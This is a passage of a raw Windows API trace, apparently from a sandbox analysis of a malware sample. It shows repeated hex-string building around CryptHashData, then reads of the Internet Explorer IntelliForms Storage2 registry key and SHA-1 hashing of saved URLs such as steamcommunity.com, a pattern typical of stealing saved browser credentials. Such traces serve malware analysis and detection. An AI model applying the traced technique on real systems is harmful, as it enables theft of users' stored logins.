lpString1="9BFD72", lpString2="F4" | out: lpString1="9BFD72F4") returned="9BFD72F4" [0096.984] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.984] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="54") returned 2 [0096.984] lstrlenW (lpString="9BFD72F4") returned 8 [0096.984] lstrlenW (lpString="54") returned 2 [0096.984] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c81c0 [0096.984] lstrcpyW (in: lpString1=0x28c81c0, lpString2="9BFD72F4" | out: lpString1="9BFD72F4") returned="9BFD72F4" [0096.985] lstrcatW (in: lpString1="9BFD72F4", lpString2="54" | out: lpString1="9BFD72F454") returned="9BFD72F454" [0096.985] LocalFree (hMem=0x28ca380) returned 0x0 [0096.985] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6E") returned 2 [0096.985] lstrlenW (lpString="9BFD72F454") returned 10 [0096.985] lstrlenW (lpString="6E") returned 2 [0096.985] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf460 [0096.985] lstrcpyW (in: lpString1=0x71cf460, lpString2="9BFD72F454" | out: lpString1="9BFD72F454") returned="9BFD72F454" [0096.985] lstrcatW (in: lpString1="9BFD72F454", lpString2="6E" | out: lpString1="9BFD72F4546E") returned="9BFD72F4546E" [0096.985] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.985] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B1") returned 2 [0096.985] lstrlenW (lpString="9BFD72F4546E") returned 12 [0096.985] lstrlenW (lpString="B1") returned 2 [0096.985] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cfb40 [0096.985] lstrcpyW (in: lpString1=0x71cfb40, lpString2="9BFD72F4546E" | out: lpString1="9BFD72F4546E") returned="9BFD72F4546E" [0096.985] lstrcatW (in: lpString1="9BFD72F4546E", lpString2="B1" | out: lpString1="9BFD72F4546EB1") returned="9BFD72F4546EB1" [0096.985] LocalFree (hMem=0x71cf460) returned 0x0 [0096.985] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6B") returned 2 [0096.985] lstrlenW (lpString="9BFD72F4546EB1") returned 14 [0096.985] lstrlenW (lpString="6B") returned 2 [0096.985] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf460 [0096.985] lstrcpyW (in: lpString1=0x71cf460, lpString2="9BFD72F4546EB1" | out: lpString1="9BFD72F4546EB1") returned="9BFD72F4546EB1" [0096.985] lstrcatW (in: lpString1="9BFD72F4546EB1", lpString2="6B" | out: lpString1="9BFD72F4546EB16B") returned="9BFD72F4546EB16B" [0096.985] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.985] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3A") returned 2 [0096.985] lstrlenW (lpString="9BFD72F4546EB16B") returned 16 [0096.985] lstrlenW (lpString="3A") returned 2 [0096.985] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cfb40 [0096.985] lstrcpyW (in: lpString1=0x71cfb40, lpString2="9BFD72F4546EB16B" | out: lpString1="9BFD72F4546EB16B") returned="9BFD72F4546EB16B" [0096.985] lstrcatW (in: lpString1="9BFD72F4546EB16B", lpString2="3A" | out: lpString1="9BFD72F4546EB16B3A") returned="9BFD72F4546EB16B3A" [0096.985] LocalFree (hMem=0x71cf460) returned 0x0 [0096.985] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5E") returned 2 [0096.985] lstrlenW (lpString="9BFD72F4546EB16B3A") returned 18 [0096.985] lstrlenW (lpString="5E") returned 2 [0096.985] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0096.985] lstrcpyW (in: lpString1=0x7290b70, lpString2="9BFD72F4546EB16B3A" | out: lpString1="9BFD72F4546EB16B3A") returned="9BFD72F4546EB16B3A" [0096.985] lstrcatW (in: lpString1="9BFD72F4546EB16B3A", lpString2="5E" | out: lpString1="9BFD72F4546EB16B3A5E") returned="9BFD72F4546EB16B3A5E" [0096.985] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.985] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C8") returned 2 [0096.986] lstrlenW (lpString="9BFD72F4546EB16B3A5E") returned 20 [0096.986] lstrlenW (lpString="C8") returned 2 [0096.986] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0096.986] lstrcpyW (in: lpString1=0x72912f0, lpString2="9BFD72F4546EB16B3A5E" | out: lpString1="9BFD72F4546EB16B3A5E") returned="9BFD72F4546EB16B3A5E" [0096.986] lstrcatW (in: lpString1="9BFD72F4546EB16B3A5E", lpString2="C8" | out: lpString1="9BFD72F4546EB16B3A5EC8") returned="9BFD72F4546EB16B3A5EC8" [0096.986] LocalFree (hMem=0x7290b70) returned 0x0 [0096.986] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F0") returned 2 [0096.986] lstrlenW (lpString="9BFD72F4546EB16B3A5EC8") returned 22 [0096.986] lstrlenW (lpString="F0") returned 2 [0096.986] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0096.986] lstrcpyW (in: lpString1=0x7290b70, lpString2="9BFD72F4546EB16B3A5EC8" | out: lpString1="9BFD72F4546EB16B3A5EC8") returned="9BFD72F4546EB16B3A5EC8" [0096.986] lstrcatW (in: lpString1="9BFD72F4546EB16B3A5EC8", lpString2="F0" | out: lpString1="9BFD72F4546EB16B3A5EC8F0") returned="9BFD72F4546EB16B3A5EC8F0" [0096.986] LocalFree (hMem=0x72912f0) returned 0x0 [0096.986] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="07") returned 2 [0096.986] lstrlenW (lpString="9BFD72F4546EB16B3A5EC8F0") returned 24 [0096.986] lstrlenW (lpString="07") returned 2 [0096.986] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0096.986] lstrcpyW (in: lpString1=0x72912f0, lpString2="9BFD72F4546EB16B3A5EC8F0" | out: lpString1="9BFD72F4546EB16B3A5EC8F0") returned="9BFD72F4546EB16B3A5EC8F0" [0096.986] lstrcatW (in: lpString1="9BFD72F4546EB16B3A5EC8F0", lpString2="07" | out: lpString1="9BFD72F4546EB16B3A5EC8F007") returned="9BFD72F4546EB16B3A5EC8F007" [0096.986] LocalFree (hMem=0x7290b70) returned 0x0 [0096.986] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6C") returned 2 [0096.986] lstrlenW (lpString="9BFD72F4546EB16B3A5EC8F007") returned 26 [0096.986] lstrlenW (lpString="6C") returned 2 [0096.986] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815a80 [0096.986] lstrcpyW (in: lpString1=0x2815a80, lpString2="9BFD72F4546EB16B3A5EC8F007" | out: lpString1="9BFD72F4546EB16B3A5EC8F007") returned="9BFD72F4546EB16B3A5EC8F007" [0096.986] lstrcatW (in: lpString1="9BFD72F4546EB16B3A5EC8F007", lpString2="6C" | out: lpString1="9BFD72F4546EB16B3A5EC8F0076C") returned="9BFD72F4546EB16B3A5EC8F0076C" [0096.986] LocalFree (hMem=0x72912f0) returned 0x0 [0096.986] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="87") returned 2 [0096.986] lstrlenW (lpString="9BFD72F4546EB16B3A5EC8F0076C") returned 28 [0096.986] lstrlenW (lpString="87") returned 2 [0096.986] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0096.986] lstrcpyW (in: lpString1=0x2815670, lpString2="9BFD72F4546EB16B3A5EC8F0076C" | out: lpString1="9BFD72F4546EB16B3A5EC8F0076C") returned="9BFD72F4546EB16B3A5EC8F0076C" [0096.986] lstrcatW (in: lpString1="9BFD72F4546EB16B3A5EC8F0076C", lpString2="87" | out: lpString1="9BFD72F4546EB16B3A5EC8F0076C87") returned="9BFD72F4546EB16B3A5EC8F0076C87" [0096.986] LocalFree (hMem=0x2815a80) returned 0x0 [0096.986] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="74") returned 2 [0096.986] lstrlenW (lpString="9BFD72F4546EB16B3A5EC8F0076C87") returned 30 [0096.986] lstrlenW (lpString="74") returned 2 [0096.987] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815a80 [0096.987] lstrcpyW (in: lpString1=0x2815a80, lpString2="9BFD72F4546EB16B3A5EC8F0076C87" | out: lpString1="9BFD72F4546EB16B3A5EC8F0076C87") returned="9BFD72F4546EB16B3A5EC8F0076C87" [0096.987] lstrcatW (in: lpString1="9BFD72F4546EB16B3A5EC8F0076C87", lpString2="74" | out: lpString1="9BFD72F4546EB16B3A5EC8F0076C8774") returned="9BFD72F4546EB16B3A5EC8F0076C8774" [0096.987] LocalFree (hMem=0x2815670) returned 0x0 [0096.987] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5E") returned 2 [0096.987] lstrlenW (lpString="9BFD72F4546EB16B3A5EC8F0076C8774") returned 32 [0096.987] lstrlenW (lpString="5E") returned 2 [0096.987] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0096.987] lstrcpyW (in: lpString1=0x2815670, lpString2="9BFD72F4546EB16B3A5EC8F0076C8774" | out: lpString1="9BFD72F4546EB16B3A5EC8F0076C8774") returned="9BFD72F4546EB16B3A5EC8F0076C8774" [0096.987] lstrcatW (in: lpString1="9BFD72F4546EB16B3A5EC8F0076C8774", lpString2="5E" | out: lpString1="9BFD72F4546EB16B3A5EC8F0076C87745E") returned="9BFD72F4546EB16B3A5EC8F0076C87745E" [0096.987] LocalFree (hMem=0x2815a80) returned 0x0 [0096.987] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="76") returned 2 [0096.987] lstrlenW (lpString="9BFD72F4546EB16B3A5EC8F0076C87745E") returned 34 [0096.987] lstrlenW (lpString="76") returned 2 [0096.987] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0096.987] lstrcpyW (in: lpString1=0x28e7910, lpString2="9BFD72F4546EB16B3A5EC8F0076C87745E" | out: lpString1="9BFD72F4546EB16B3A5EC8F0076C87745E") returned="9BFD72F4546EB16B3A5EC8F0076C87745E" [0096.987] lstrcatW (in: lpString1="9BFD72F4546EB16B3A5EC8F0076C87745E", lpString2="76" | out: lpString1="9BFD72F4546EB16B3A5EC8F0076C87745E76") returned="9BFD72F4546EB16B3A5EC8F0076C87745E76" [0096.987] LocalFree (hMem=0x2815670) returned 0x0 [0096.987] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9C") returned 2 [0096.987] lstrlenW (lpString="9BFD72F4546EB16B3A5EC8F0076C87745E76") returned 36 [0096.987] lstrlenW (lpString="9C") returned 2 [0096.987] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0096.987] lstrcpyW (in: lpString1=0x28e7670, lpString2="9BFD72F4546EB16B3A5EC8F0076C87745E76" | out: lpString1="9BFD72F4546EB16B3A5EC8F0076C87745E76") returned="9BFD72F4546EB16B3A5EC8F0076C87745E76" [0096.987] lstrcatW (in: lpString1="9BFD72F4546EB16B3A5EC8F0076C87745E76", lpString2="9C" | out: lpString1="9BFD72F4546EB16B3A5EC8F0076C87745E769C") returned="9BFD72F4546EB16B3A5EC8F0076C87745E769C" [0096.987] LocalFree (hMem=0x28e7910) returned 0x0 [0096.987] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="34") returned 2 [0096.987] lstrlenW (lpString="9BFD72F4546EB16B3A5EC8F0076C87745E769C") returned 38 [0096.987] lstrlenW (lpString="34") returned 2 [0096.987] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0096.987] lstrcpyW (in: lpString1=0x28e7910, lpString2="9BFD72F4546EB16B3A5EC8F0076C87745E769C" | out: lpString1="9BFD72F4546EB16B3A5EC8F0076C87745E769C") returned="9BFD72F4546EB16B3A5EC8F0076C87745E769C" [0096.987] lstrcatW (in: lpString1="9BFD72F4546EB16B3A5EC8F0076C87745E769C", lpString2="34" | out: lpString1="9BFD72F4546EB16B3A5EC8F0076C87745E769C34") returned="9BFD72F4546EB16B3A5EC8F0076C87745E769C34" [0096.987] LocalFree (hMem=0x28e7670) returned 0x0 [0096.987] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3E") returned 2 [0096.987] lstrlenW (lpString="9BFD72F4546EB16B3A5EC8F0076C87745E769C34") returned 40 [0096.987] lstrlenW (lpString="3E") returned 2 [0096.987] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0096.987] lstrcpyW (in: lpString1=0x28e7670, lpString2="9BFD72F4546EB16B3A5EC8F0076C87745E769C34" | out: lpString1="9BFD72F4546EB16B3A5EC8F0076C87745E769C34") returned="9BFD72F4546EB16B3A5EC8F0076C87745E769C34" [0096.988] lstrcatW (in: lpString1="9BFD72F4546EB16B3A5EC8F0076C87745E769C34", lpString2="3E" | out: lpString1="9BFD72F4546EB16B3A5EC8F0076C87745E769C343E") returned="9BFD72F4546EB16B3A5EC8F0076C87745E769C343E" [0096.988] LocalFree (hMem=0x28e7910) returned 0x0 [0096.988] CryptDestroyHash (hHash=0x4469af0) returned 1 [0096.988] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.988] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0096.988] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0096.988] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0096.988] LocalFree (hMem=0x28e7670) returned 0x0 [0096.988] RegEnumValueW (in: hKey=0x368, dwIndex=0x1f, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url19", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.988] StrStrIW (lpFirst="steamcommunity.com", lpSrch="?") returned 0x0 [0096.988] StrStrIW (lpFirst="steamcommunity.com", lpSrch="http://") returned 0x0 [0096.988] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.988] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.988] lstrlenW (lpString="steamcommunity.com") returned 18 [0096.988] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x26, dwFlags=0x0) returned 1 [0096.988] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.989] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="00") returned 2 [0096.989] lstrlenW (lpString="") returned 0 [0096.989] lstrlenW (lpString="00") returned 2 [0096.989] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7222e70 [0096.989] lstrcpyW (in: lpString1=0x7222e70, lpString2="" | out: lpString1="") returned="" [0096.989] lstrcatW (in: lpString1="", lpString2="00" | out: lpString1="00") returned="00" [0096.989] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="99") returned 2 [0096.989] lstrlenW (lpString="00") returned 2 [0096.989] lstrlenW (lpString="99") returned 2 [0096.989] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c81c0 [0096.989] lstrcpyW (in: lpString1=0x28c81c0, lpString2="00" | out: lpString1="00") returned="00" [0096.989] lstrcatW (in: lpString1="00", lpString2="99" | out: lpString1="0099") returned="0099" [0096.989] LocalFree (hMem=0x7222e70) returned 0x0 [0096.989] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2F") returned 2 [0096.989] lstrlenW (lpString="0099") returned 4 [0096.989] lstrlenW (lpString="2F") returned 2 [0096.989] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28ca380 [0096.989] lstrcpyW (in: lpString1=0x28ca380, lpString2="0099" | out: lpString1="0099") returned="0099" [0096.989] lstrcatW (in: lpString1="0099", lpString2="2F" | out: lpString1="00992F") returned="00992F" [0096.989] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.989] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="34") returned 2 [0096.989] lstrlenW (lpString="00992F") returned 6 [0096.989] lstrlenW (lpString="34") returned 2 [0096.989] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c81c0 [0096.989] lstrcpyW (in: lpString1=0x28c81c0, lpString2="00992F" | out: lpString1="00992F") returned="00992F" [0096.989] lstrcatW (in: lpString1="00992F", lpString2="34" | out: lpString1="00992F34") returned="00992F34" [0096.989] LocalFree (hMem=0x28ca380) returned 0x0 [0096.989] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AA") returned 2 [0096.989] lstrlenW (lpString="00992F34") returned 8 [0096.989] lstrlenW (lpString="AA") returned 2 [0096.989] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28ca380 [0096.989] lstrcpyW (in: lpString1=0x28ca380, lpString2="00992F34" | out: lpString1="00992F34") returned="00992F34" [0096.989] lstrcatW (in: lpString1="00992F34", lpString2="AA" | out: lpString1="00992F34AA") returned="00992F34AA" [0096.989] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.989] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C0") returned 2 [0096.989] lstrlenW (lpString="00992F34AA") returned 10 [0096.989] lstrlenW (lpString="C0") returned 2 [0096.990] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cfb40 [0096.990] lstrcpyW (in: lpString1=0x71cfb40, lpString2="00992F34AA" | out: lpString1="00992F34AA") returned="00992F34AA" [0096.990] lstrcatW (in: lpString1="00992F34AA", lpString2="C0" | out: lpString1="00992F34AAC0") returned="00992F34AAC0" [0096.990] LocalFree (hMem=0x28ca380) returned 0x0 [0096.990] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2A") returned 2 [0096.990] lstrlenW (lpString="00992F34AAC0") returned 12 [0096.990] lstrlenW (lpString="2A") returned 2 [0096.990] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf460 [0096.990] lstrcpyW (in: lpString1=0x71cf460, lpString2="00992F34AAC0" | out: lpString1="00992F34AAC0") returned="00992F34AAC0" [0096.990] lstrcatW (in: lpString1="00992F34AAC0", lpString2="2A" | out: lpString1="00992F34AAC02A") returned="00992F34AAC02A" [0096.990] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.990] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E4") returned 2 [0096.990] lstrlenW (lpString="00992F34AAC02A") returned 14 [0096.990] lstrlenW (lpString="E4") returned 2 [0096.990] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cfb40 [0096.990] lstrcpyW (in: lpString1=0x71cfb40, lpString2="00992F34AAC02A" | out: lpString1="00992F34AAC02A") returned="00992F34AAC02A" [0096.990] lstrcatW (in: lpString1="00992F34AAC02A", lpString2="E4" | out: lpString1="00992F34AAC02AE4") returned="00992F34AAC02AE4" [0096.990] LocalFree (hMem=0x71cf460) returned 0x0 [0096.990] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="49") returned 2 [0096.990] lstrlenW (lpString="00992F34AAC02AE4") returned 16 [0096.990] lstrlenW (lpString="49") returned 2 [0096.990] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf460 [0096.990] lstrcpyW (in: lpString1=0x71cf460, lpString2="00992F34AAC02AE4" | out: lpString1="00992F34AAC02AE4") returned="00992F34AAC02AE4" [0096.990] lstrcatW (in: lpString1="00992F34AAC02AE4", lpString2="49" | out: lpString1="00992F34AAC02AE449") returned="00992F34AAC02AE449" [0096.990] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.990] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9D") returned 2 [0096.990] lstrlenW (lpString="00992F34AAC02AE449") returned 18 [0096.990] lstrlenW (lpString="9D") returned 2 [0096.990] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0096.990] lstrcpyW (in: lpString1=0x72912f0, lpString2="00992F34AAC02AE449" | out: lpString1="00992F34AAC02AE449") returned="00992F34AAC02AE449" [0096.990] lstrcatW (in: lpString1="00992F34AAC02AE449", lpString2="9D" | out: lpString1="00992F34AAC02AE4499D") returned="00992F34AAC02AE4499D" [0096.990] LocalFree (hMem=0x71cf460) returned 0x0 [0096.990] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BD") returned 2 [0096.990] lstrlenW (lpString="00992F34AAC02AE4499D") returned 20 [0096.990] lstrlenW (lpString="BD") returned 2 [0096.990] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0096.990] lstrcpyW (in: lpString1=0x7290b70, lpString2="00992F34AAC02AE4499D" | out: lpString1="00992F34AAC02AE4499D") returned="00992F34AAC02AE4499D" [0096.990] lstrcatW (in: lpString1="00992F34AAC02AE4499D", lpString2="BD" | out: lpString1="00992F34AAC02AE4499DBD") returned="00992F34AAC02AE4499DBD" [0096.991] LocalFree (hMem=0x72912f0) returned 0x0 [0096.991] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="49") returned 2 [0096.991] lstrlenW (lpString="00992F34AAC02AE4499DBD") returned 22 [0096.991] lstrlenW (lpString="49") returned 2 [0096.991] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0096.991] lstrcpyW (in: lpString1=0x72912f0, lpString2="00992F34AAC02AE4499DBD" | out: lpString1="00992F34AAC02AE4499DBD") returned="00992F34AAC02AE4499DBD" [0096.991] lstrcatW (in: lpString1="00992F34AAC02AE4499DBD", lpString2="49" | out: lpString1="00992F34AAC02AE4499DBD49") returned="00992F34AAC02AE4499DBD49" [0096.991] LocalFree (hMem=0x7290b70) returned 0x0 [0096.991] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F8") returned 2 [0096.991] lstrlenW (lpString="00992F34AAC02AE4499DBD49") returned 24 [0096.991] lstrlenW (lpString="F8") returned 2 [0096.991] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0096.991] lstrcpyW (in: lpString1=0x7290b70, lpString2="00992F34AAC02AE4499DBD49" | out: lpString1="00992F34AAC02AE4499DBD49") returned="00992F34AAC02AE4499DBD49" [0096.991] lstrcatW (in: lpString1="00992F34AAC02AE4499DBD49", lpString2="F8" | out: lpString1="00992F34AAC02AE4499DBD49F8") returned="00992F34AAC02AE4499DBD49F8" [0096.991] LocalFree (hMem=0x72912f0) returned 0x0 [0096.991] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F6") returned 2 [0096.991] lstrlenW (lpString="00992F34AAC02AE4499DBD49F8") returned 26 [0096.991] lstrlenW (lpString="F6") returned 2 [0096.991] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0096.991] lstrcpyW (in: lpString1=0x2815670, lpString2="00992F34AAC02AE4499DBD49F8" | out: lpString1="00992F34AAC02AE4499DBD49F8") returned="00992F34AAC02AE4499DBD49F8" [0096.991] lstrcatW (in: lpString1="00992F34AAC02AE4499DBD49F8", lpString2="F6" | out: lpString1="00992F34AAC02AE4499DBD49F8F6") returned="00992F34AAC02AE4499DBD49F8F6" [0096.991] LocalFree (hMem=0x7290b70) returned 0x0 [0096.991] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E0") returned 2 [0096.991] lstrlenW (lpString="00992F34AAC02AE4499DBD49F8F6") returned 28 [0096.991] lstrlenW (lpString="E0") returned 2 [0096.991] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815a80 [0096.991] lstrcpyW (in: lpString1=0x2815a80, lpString2="00992F34AAC02AE4499DBD49F8F6" | out: lpString1="00992F34AAC02AE4499DBD49F8F6") returned="00992F34AAC02AE4499DBD49F8F6" [0096.991] lstrcatW (in: lpString1="00992F34AAC02AE4499DBD49F8F6", lpString2="E0" | out: lpString1="00992F34AAC02AE4499DBD49F8F6E0") returned="00992F34AAC02AE4499DBD49F8F6E0" [0096.991] LocalFree (hMem=0x2815670) returned 0x0 [0096.991] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BE") returned 2 [0096.991] lstrlenW (lpString="00992F34AAC02AE4499DBD49F8F6E0") returned 30 [0096.991] lstrlenW (lpString="BE") returned 2 [0096.991] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0096.991] lstrcpyW (in: lpString1=0x2815670, lpString2="00992F34AAC02AE4499DBD49F8F6E0" | out: lpString1="00992F34AAC02AE4499DBD49F8F6E0") returned="00992F34AAC02AE4499DBD49F8F6E0" [0096.991] lstrcatW (in: lpString1="00992F34AAC02AE4499DBD49F8F6E0", lpString2="BE" | out: lpString1="00992F34AAC02AE4499DBD49F8F6E0BE") returned="00992F34AAC02AE4499DBD49F8F6E0BE" [0096.991] LocalFree (hMem=0x2815a80) returned 0x0 [0096.991] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2D") returned 2 [0096.991] lstrlenW (lpString="00992F34AAC02AE4499DBD49F8F6E0BE") returned 32 [0096.991] lstrlenW (lpString="2D") returned 2 [0096.992] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815a80 [0096.992] lstrcpyW (in: lpString1=0x2815a80, lpString2="00992F34AAC02AE4499DBD49F8F6E0BE" | out: lpString1="00992F34AAC02AE4499DBD49F8F6E0BE") returned="00992F34AAC02AE4499DBD49F8F6E0BE" [0096.992] lstrcatW (in: lpString1="00992F34AAC02AE4499DBD49F8F6E0BE", lpString2="2D" | out: lpString1="00992F34AAC02AE4499DBD49F8F6E0BE2D") returned="00992F34AAC02AE4499DBD49F8F6E0BE2D" [0096.992] LocalFree (hMem=0x2815670) returned 0x0 [0096.992] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DF") returned 2 [0096.992] lstrlenW (lpString="00992F34AAC02AE4499DBD49F8F6E0BE2D") returned 34 [0096.992] lstrlenW (lpString="DF") returned 2 [0096.992] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0096.992] lstrcpyW (in: lpString1=0x28e7670, lpString2="00992F34AAC02AE4499DBD49F8F6E0BE2D" | out: lpString1="00992F34AAC02AE4499DBD49F8F6E0BE2D") returned="00992F34AAC02AE4499DBD49F8F6E0BE2D" [0096.992] lstrcatW (in: lpString1="00992F34AAC02AE4499DBD49F8F6E0BE2D", lpString2="DF" | out: 